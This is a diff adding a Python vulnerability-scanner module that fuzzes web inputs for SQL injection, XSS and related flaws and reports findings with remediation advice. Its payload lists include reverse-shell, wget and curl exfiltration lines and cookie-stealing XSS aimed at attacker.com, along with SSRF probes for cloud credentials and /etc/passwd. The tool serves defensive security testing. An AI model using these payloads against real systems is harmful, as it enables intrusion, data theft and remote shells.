| 441 |
+
return base + "5. Use a comprehensive extension denylist. Validate Content-Type matches actual file magic bytes."
|
| 442 |
+
return base
|
backend/scanners/fuzzer_scanner.py
ADDED
|
@@ -0,0 +1,838 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
fuzzer_scanner.py — Active XSS & SQL Injection Fuzzer
|
| 3 |
+
=====================================================
|
| 4 |
+
Senior Security Engineer-grade injection testing module.
|
| 5 |
+
|
| 6 |
+
This scanner:
|
| 7 |
+
1. Crawls the target page recursively using WebCrawler.
|
| 8 |
+
2. Injects curated SQLi and XSS payloads into every discovered input vector.
|
| 9 |
+
3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL,
|
| 10 |
+
MSSQL, Oracle, SQLite) and reflected XSS payload markers.
|
| 11 |
+
4. Performs boolean-based blind SQL injection checks.
|
| 12 |
+
5. Reports each confirmed injection point with severity, CVSS, evidence,
|
| 13 |
+
and remediation guidance.
|
| 14 |
+
"""
|
| 15 |
+
import urllib.request, urllib.error, urllib.parse, ssl, re, time
|
| 16 |
+
from html.parser import HTMLParser
|
| 17 |
+
from scanners.base_scanner import BaseScanner
|
| 18 |
+
from utils.web_crawler import WebCrawler
|
| 19 |
+
from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS
|
| 20 |
+
|
| 21 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 22 |
+
# Payload Sets
|
| 23 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 24 |
+
SQLI_PAYLOADS = [
|
| 25 |
+
# Classic auth-bypass / error-based
|
| 26 |
+
"' OR '1'='1",
|
| 27 |
+
"' OR '1'='1' --",
|
| 28 |
+
"' OR '1'='1' /*",
|
| 29 |
+
'" OR "1"="1"',
|
| 30 |
+
"1' AND 1=1 --",
|
| 31 |
+
"1' AND 1=0 --",
|
| 32 |
+
"' UNION SELECT NULL --",
|
| 33 |
+
"' UNION SELECT NULL, NULL --",
|
| 34 |
+
"'; WAITFOR DELAY '0:0:3' --",
|
| 35 |
+
"1; SELECT SLEEP(3) --",
|
| 36 |
+
"admin'--",
|
| 37 |
+
"admin' #",
|
| 38 |
+
"admin' --",
|
| 39 |
+
"' OR 1=1#",
|
| 40 |
+
"' OR 1=1--",
|
| 41 |
+
'" OR 1=1--',
|
| 42 |
+
"\" OR \"1\"=\"1",
|
| 43 |
+
"' OR 'a'='a",
|
| 44 |
+
"') OR ('1'='1",
|
| 45 |
+
"1' ORDER BY 1 --",
|
| 46 |
+
"1' ORDER BY 100 --",
|
| 47 |
+
"' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
|
| 48 |
+
]
|
| 49 |
+
|
| 50 |
+
XSS_PAYLOADS = [
|
| 51 |
+
'<script>alert("XSS")</script>',
|
| 52 |
+
'"><script>alert(1)</script>',
|
| 53 |
+
"'\"><img src=x onerror=alert(1)>",
|
| 54 |
+
'<svg onload=alert(1)>',
|
| 55 |
+
'"><svg/onload=alert(1)>',
|
| 56 |
+
"javascript:alert(1)",
|
| 57 |
+
'<img src=x onerror=alert("XSS")>',
|
| 58 |
+
'{{7*7}}', # SSTI probe
|
| 59 |
+
'${7*7}', # Template injection probe
|
| 60 |
+
'<body onload=alert(1)>',
|
| 61 |
+
'<input onfocus=alert(1) autofocus>',
|
| 62 |
+
'" onfocus="alert(1)" autofocus="',
|
| 63 |
+
"';alert(1)//",
|
| 64 |
+
'<details open ontoggle=alert(1)>',
|
| 65 |
+
|
| 66 |
+
# Additional payloads from user XSS script
|
| 67 |
+
"<script>alert('XSS')</script>",
|
| 68 |
+
"<script>alert(1)</script>",
|
| 69 |
+
"<img src=x onerror=alert('XSS')>",
|
| 70 |
+
"<svg/onload=alert('XSS')>",
|
| 71 |
+
"<iframe src=javascript:alert('XSS')>",
|
| 72 |
+
"<body onload=alert('XSS')>",
|
| 73 |
+
"<input onfocus=alert('XSS') autofocus>",
|
| 74 |
+
"<select onfocus=alert('XSS') autofocus>",
|
| 75 |
+
"<textarea onfocus=alert('XSS') autofocus>",
|
| 76 |
+
"<iframe src='javascript:alert(\"XSS\")'>",
|
| 77 |
+
"'\"><script>alert(String.fromCharCode(88,83,83))</script>",
|
| 78 |
+
"<scr<script>ipt>alert('XSS')</scr</script>ipt>",
|
| 79 |
+
]
|
| 80 |
+
|
| 81 |
+
# Advanced Red-Team Payloads
|
| 82 |
+
TIME_BASED_SQLI = [
|
| 83 |
+
"SLEEP(5)/*",
|
| 84 |
+
"' OR SLEEP(5)='",
|
| 85 |
+
"pg_sleep(5)--",
|
| 86 |
+
"'; WAITFOR DELAY '0:0:5'--",
|
| 87 |
+
"1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
|
| 88 |
+
"'; SELECT pg_sleep(5)--",
|
| 89 |
+
"1; SELECT SLEEP(5)#",
|
| 90 |
+
"' OR BENCHMARK(5000000,MD5(1))--",
|
| 91 |
+
"1 AND SLEEP(5)#",
|
| 92 |
+
"'; EXEC xp_cmdshell('ping 127.0.0.1 -n 5')--"
|
| 93 |
+
]
|
| 94 |
+
|
| 95 |
+
SSRF_PAYLOADS = [
|
| 96 |
+
"http://169.254.169.254/latest/meta-data/",
|
| 97 |
+
"http://127.0.0.1:80",
|
| 98 |
+
"http://localhost:22",
|
| 99 |
+
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
| 100 |
+
"http://169.254.169.254/latest/user-data",
|
| 101 |
+
"http://metadata.google.internal/computeMetadata/v1/",
|
| 102 |
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
|
| 103 |
+
"http://0177.0.0.1",
|
| 104 |
+
"http://0x7f.0.0.1",
|
| 105 |
+
"http://2130706433",
|
| 106 |
+
"file:///etc/passwd",
|
| 107 |
+
"file:///windows/win.ini"
|
| 108 |
+
]
|
| 109 |
+
|
| 110 |
+
CMD_INJECTION_PAYLOADS = [
|
| 111 |
+
"; cat /etc/passwd",
|
| 112 |
+
"| type C:\\Windows\\win.ini",
|
| 113 |
+
"`id`",
|
| 114 |
+
"$(whoami)",
|
| 115 |
+
"; ls -la",
|
| 116 |
+
"| dir",
|
| 117 |
+
"&& whoami",
|
| 118 |
+
"; curl http://attacker.com/$(whoami)",
|
| 119 |
+
"| powershell -c 'Get-Process'",
|
| 120 |
+
"`nslookup attacker.com`",
|
| 121 |
+
"; wget http://attacker.com/shell.sh",
|
| 122 |
+
"$(curl http://attacker.com)",
|
| 123 |
+
"; bash -i >& /dev/tcp/attacker.com/4444 0>&1",
|
| 124 |
+
"| nc attacker.com 4444 -e /bin/bash"
|
| 125 |
+
]
|
| 126 |
+
|
| 127 |
+
# Advanced XSS Payloads for DOM-based and stored XSS
|
| 128 |
+
ADVANCED_XSS_PAYLOADS = [
|
| 129 |
+
"<script>document.location='http://attacker.com/?c='+document.cookie</script>",
|
| 130 |
+
"<img src=x onerror='fetch(\"http://attacker.com/?c=\"+document.cookie)'>",
|
| 131 |
+
"<svg onload=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
|
| 132 |
+
"<details open ontoggle=alert(1)>",
|
| 133 |
+
"<iframe srcdoc='<script>alert(1)</script>'>",
|
| 134 |
+
"<object data='javascript:alert(1)'>",
|
| 135 |
+
"<embed src='javascript:alert(1)'>",
|
| 136 |
+
"<math><maction actiontype='statusline' onactivate=alert(1)>click</maction></math>",
|
| 137 |
+
"<form><button formaction='javascript:alert(1)'>XSS</button></form>",
|
| 138 |
+
"<input type='text' onfocus='alert(1)' autofocus>",
|
| 139 |
+
"<select onfocus='alert(1)' autofocus><option>XSS</option></select>",
|
| 140 |
+
"<textarea onfocus='alert(1)' autofocus>XSS</textarea>",
|
| 141 |
+
"<keygen onfocus='alert(1)' autofocus>",
|
| 142 |
+
"<video><source onerror='alert(1)'>",
|
| 143 |
+
"<audio src=x onerror='alert(1)'>",
|
| 144 |
+
"<marquee onstart='alert(1)'>XSS</marquee>",
|
| 145 |
+
"<isindex action='javascript:alert(1)' type='submit'>",
|
| 146 |
+
"<iframe src='data:text/html,<script>alert(1)</script>'>"
|
| 147 |
+
]
|
| 148 |
+
|
| 149 |
+
# LDAP Injection Payloads
|
| 150 |
+
LDAP_INJECTION_PAYLOADS = [
|
| 151 |
+
"*)(uid=*",
|
| 152 |
+
"*)(&",
|
| 153 |
+
"*)(|(objectClass=*)",
|
| 154 |
+
"*)(|(password=*",
|
| 155 |
+
"*))%00",
|
| 156 |
+
"*)(&(|(objectClass=*",
|
| 157 |
+
"*)(|(cn=*",
|
| 158 |
+
"*)(|(sn=*"
|
| 159 |
+
]
|
| 160 |
+
|
| 161 |
+
# NoSQL Injection Payloads
|
| 162 |
+
NOSQL_INJECTION_PAYLOADS = [
|
| 163 |
+
"' || '1'=='1",
|
| 164 |
+
"' && '1'=='1",
|
| 165 |
+
"'; return true;//",
|
| 166 |
+
"' && this.password.match(/.*/)//",
|
| 167 |
+
"' && this.password.match(/^a/)//",
|
| 168 |
+
"' && this.password.length>0//",
|
| 169 |
+
"' && this.password.length<10//",
|
| 170 |
+
"' && this.password=='admin'//",
|
| 171 |
+
"' || true)//",
|
| 172 |
+
"' && true)//"
|
| 173 |
+
]
|
| 174 |
+
|
| 175 |
+
# Prototype Pollution Payloads
|
| 176 |
+
PROTOTYPE_POLLUTION_PAYLOADS = [
|
| 177 |
+
'{"__proto__":{"admin":true}}',
|
| 178 |
+
'{"constructor":{"prototype":{"admin":true}}}',
|
| 179 |
+
'{"__proto__":{"isAdmin":true}}',
|
| 180 |
+
'{"__proto__":{"auth":"admin"}}',
|
| 181 |
+
'{"constructor":{"prototype":{"auth":"admin"}}}'
|
| 182 |
+
]
|
| 183 |
+
|
| 184 |
+
# Database error signatures — evidence of SQL injection
|
| 185 |
+
DB_ERROR_PATTERNS = [
|
| 186 |
+
(r"You have an error in your SQL syntax", "MySQL"),
|
| 187 |
+
(r"Warning.*mysql_", "MySQL"),
|
| 188 |
+
(r"MySQLSyntaxErrorException", "MySQL"),
|
| 189 |
+
(r"valid MySQL result", "MySQL"),
|
| 190 |
+
(r"PostgreSQL.*ERROR", "PostgreSQL"),
|
| 191 |
+
(r"pg_query\(\).*failed", "PostgreSQL"),
|
| 192 |
+
(r"PSQLException", "PostgreSQL"),
|
| 193 |
+
(r"unterminated quoted string", "PostgreSQL"),
|
| 194 |
+
(r"Microsoft OLE DB Provider for SQL Server", "MSSQL"),
|
| 195 |
+
(r"Unclosed quotation mark after the character string", "MSSQL"),
|
| 196 |
+
(r"Microsoft SQL Native Client error", "MSSQL"),
|
| 197 |
+
(r"ODBC SQL Server Driver", "MSSQL"),
|
| 198 |
+
(r"ORA-\d{5}", "Oracle"),
|
| 199 |
+
(r"Oracle error", "Oracle"),
|
| 200 |
+
(r"SQLite3::SQLException", "SQLite"),
|
| 201 |
+
(r"SQLITE_ERROR", "SQLite"),
|
| 202 |
+
(r"near \".*\": syntax error", "SQLite"),
|
| 203 |
+
(r"SQL syntax.*MariaDB", "MariaDB"),
|
| 204 |
+
(r"javax\.persistence\.PersistenceException", "JPA/Hibernate"),
|
| 205 |
+
(r"org\.hibernate\.exception", "Hibernate"),
|
| 206 |
+
]
|
| 207 |
+
|
| 208 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 209 |
+
# HTML Form Parser (Retained for backwards compatibility)
|
| 210 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 211 |
+
class FormParser(HTMLParser):
|
| 212 |
+
"""Parse HTML to extract <form> elements with their <input>/<textarea> fields."""
|
| 213 |
+
|
| 214 |
+
def __init__(self):
|
| 215 |
+
super().__init__()
|
| 216 |
+
self.forms = []
|
| 217 |
+
self._current_form = None
|
| 218 |
+
|
| 219 |
+
def handle_starttag(self, tag, attrs):
|
| 220 |
+
attrs_dict = dict(attrs)
|
| 221 |
+
if tag == "form":
|
| 222 |
+
self._current_form = {
|
| 223 |
+
"action": attrs_dict.get("action", ""),
|
| 224 |
+
"method": attrs_dict.get("method", "GET").upper(),
|
| 225 |
+
"inputs": [],
|
| 226 |
+
}
|
| 227 |
+
elif tag in ("input", "textarea", "select") and self._current_form is not None:
|
| 228 |
+
input_type = attrs_dict.get("type", "text").lower()
|
| 229 |
+
# Skip submit/button/hidden/file inputs
|
| 230 |
+
if input_type not in ("submit", "button", "image", "file", "hidden", "reset"):
|
| 231 |
+
name = attrs_dict.get("name", attrs_dict.get("id", ""))
|
| 232 |
+
if name:
|
| 233 |
+
self._current_form["inputs"].append({
|
| 234 |
+
"name": name,
|
| 235 |
+
"type": input_type,
|
| 236 |
+
"value": attrs_dict.get("value", ""),
|
| 237 |
+
})
|
| 238 |
+
# Also capture hidden fields for completeness but don't fuzz them
|
| 239 |
+
elif input_type == "hidden":
|
| 240 |
+
name = attrs_dict.get("name", "")
|
| 241 |
+
if name:
|
| 242 |
+
self._current_form["inputs"].append({
|
| 243 |
+
"name": name,
|
| 244 |
+
"type": "hidden",
|
| 245 |
+
"value": attrs_dict.get("value", ""),
|
| 246 |
+
})
|
| 247 |
+
|
| 248 |
+
def handle_endtag(self, tag):
|
| 249 |
+
if tag == "form" and self._current_form is not None:
|
| 250 |
+
self.forms.append(self._current_form)
|
| 251 |
+
self._current_form = None
|
| 252 |
+
|
| 253 |
+
|
| 254 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 255 |
+
# Scanner Implementation
|
| 256 |
+
# ──────────────────────────────────────────────────────────────────────
|
| 257 |
+
class FuzzerScanner(BaseScanner):
|
| 258 |
+
SCANNER_NAME = "XSS & SQL Injection Fuzzer"
|
| 259 |
+
|
| 260 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 261 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 262 |
+
self._ctx = ssl.create_default_context()
|
| 263 |
+
self._ctx.check_hostname = False
|
| 264 |
+
self._ctx.verify_mode = ssl.CERT_NONE
|
| 265 |
+
self._headers = {"User-Agent": "LarShield/2.0 Fuzzer"}
|
| 266 |
+
if self.auth_headers:
|
| 267 |
+
self._headers.update(self.auth_headers)
|
| 268 |
+
|
| 269 |
+
self._tested_vectors = 0
|
| 270 |
+
self._sqli_found = 0
|
| 271 |
+
self._xss_found = 0
|
| 272 |
+
self.max_depth = kwargs.get("max_depth", 1)
|
| 273 |
+
self.delay = kwargs.get("delay", 0.2)
|
| 274 |
+
self.exclude_paths = kwargs.get("exclude_paths", [])
|
| 275 |
+
self.red_team = kwargs.get("red_team", False)
|
| 276 |
+
self._fuzzer = ContextAwareFuzzer(self._fuzzer_req)
|
| 277 |
+
|
| 278 |
+
def _sqli_limit(self):
|
| 279 |
+
return len(SQLI_PAYLOADS) if self.red_team else 8
|
| 280 |
+
|
| 281 |
+
def _xss_limit(self):
|
| 282 |
+
return len(XSS_PAYLOADS) if self.red_team else 6
|
| 283 |
+
|
| 284 |
+
def _get(self, url, timeout=8):
|
| 285 |
+
self._throttle()
|
| 286 |
+
try:
|
| 287 |
+
req = urllib.request.Request(url, headers=self._headers)
|
| 288 |
+
with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
|
| 289 |
+
return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
|
| 290 |
+
except urllib.error.HTTPError as e:
|
| 291 |
+
body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
|
| 292 |
+
return body, e.code
|
| 293 |
+
except Exception as e:
|
| 294 |
+
self.log("ERROR", f"[Fuzzer] _get error: {e}")
|
| 295 |
+
return "", 0
|
| 296 |
+
|
| 297 |
+
def _post(self, url, data, timeout=8):
|
| 298 |
+
self._throttle()
|
| 299 |
+
try:
|
| 300 |
+
encoded = urllib.parse.urlencode(data).encode("utf-8")
|
| 301 |
+
req = urllib.request.Request(url, data=encoded, headers={
|
| 302 |
+
**self._headers,
|
| 303 |
+
"Content-Type": "application/x-www-form-urlencoded"
|
| 304 |
+
})
|
| 305 |
+
with urllib.request.urlopen(req, timeout=timeout, context=self._ctx) as resp:
|
| 306 |
+
return resp.read(131072).decode("utf-8", errors="ignore"), resp.status
|
| 307 |
+
except urllib.error.HTTPError as e:
|
| 308 |
+
body = e.read(131072).decode("utf-8", errors="ignore") if e.fp else ""
|
| 309 |
+
return body, e.code
|
| 310 |
+
except Exception as e:
|
| 311 |
+
self.log("ERROR", f"[Fuzzer] _post error: {e}")
|
| 312 |
+
return "", 0
|
| 313 |
+
|
| 314 |
+
# ── SQLi Detection ────────────────────────────────────────────────
|
| 315 |
+
def _check_sqli(self, body, payload, vector_desc):
|
| 316 |
+
for pattern, db_type in DB_ERROR_PATTERNS:
|
| 317 |
+
if re.search(pattern, body, re.IGNORECASE):
|
| 318 |
+
self._sqli_found += 1
|
| 319 |
+
self.log("CRITICAL",
|
| 320 |
+
f"[Fuzzer] SQL INJECTION CONFIRMED! Vector: {vector_desc} | "
|
| 321 |
+
f"DB: {db_type} | Payload: {payload[:60]}")
|
| 322 |
+
self.add_vuln(
|
| 323 |
+
title=f"SQL Injection — {db_type} Error-Based",
|
| 324 |
+
severity="Critical", category="Injection", cvss_score=9.8,
|
| 325 |
+
description=(
|
| 326 |
+
f"A SQL injection vulnerability was confirmed on {vector_desc}.\n"
|
| 327 |
+
f"Payload: `{payload}`\n"
|
| 328 |
+
f"The server responded with a {db_type} database error, confirming "
|
| 329 |
+
f"unsanitised user input is being concatenated into SQL queries.\n\n"
|
| 330 |
+
f"Impact: An attacker can read/modify/delete all database records, "
|
| 331 |
+
f"escalate privileges, and potentially achieve remote code execution."
|
| 332 |
+
),
|
| 333 |
+
remediation=(
|
| 334 |
+
"1. USE PARAMETERISED QUERIES / PREPARED STATEMENTS — never concatenate user input into SQL.\n"
|
| 335 |
+
" Python: cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))\n"
|
| 336 |
+
" Node.js: db.query('SELECT * FROM users WHERE id = $1', [userId])\n"
|
| 337 |
+
"2. Use an ORM (SQLAlchemy, Sequelize, Prisma) that handles parameterisation.\n"
|
| 338 |
+
"3. Implement input validation — reject characters like ' \" ; -- /* in non-freetext fields.\n"
|
| 339 |
+
"4. Apply the principle of least privilege to database accounts.\n"
|
| 340 |
+
"5. Deploy a Web Application Firewall (WAF) as defense-in-depth."
|
| 341 |
+
),
|
| 342 |
+
)
|
| 343 |
+
return True
|
| 344 |
+
return False
|
| 345 |
+
|
| 346 |
+
def _check_boolean_sqli(self, url, param_name, method='GET', form_inputs=None):
|
| 347 |
+
"""Test for boolean-based blind SQL injection by comparing true and false logical states."""
|
| 348 |
+
try:
|
| 349 |
+
if method.upper() == 'GET':
|
| 350 |
+
parsed = urllib.parse.urlparse(url)
|
| 351 |
+
params = urllib.parse.parse_qs(parsed.query)
|
| 352 |
+
|
| 353 |
+
params_true = {k: v[0] for k, v in params.items()}
|
| 354 |
+
params_true[param_name] = "' AND '1'='1"
|
| 355 |
+
url_true = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_true)}"
|
| 356 |
+
body_true, _ = self._get(url_true)
|
| 357 |
+
|
| 358 |
+
params_false = {k: v[0] for k, v in params.items()}
|
| 359 |
+
params_false[param_name] = "' AND '1'='2"
|
| 360 |
+
url_false = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urllib.parse.urlencode(params_false)}"
|
| 361 |
+
body_false, _ = self._get(url_false)
|
| 362 |
+
else:
|
| 363 |
+
data_true = {}
|
| 364 |
+
if form_inputs:
|
| 365 |
+
for inp in form_inputs:
|
| 366 |
+
data_true[inp["name"]] = inp["value"] or "test"
|
| 367 |
+
data_false = data_true.copy()
|
| 368 |
+
data_true[param_name] = "' AND '1'='1"
|
| 369 |
+
data_false[param_name] = "' AND '1'='2"
|
| 370 |
+
body_true, _ = self._post(url, data_true)
|
| 371 |
+
body_false, _ = self._post(url, data_false)
|
| 372 |
+
|
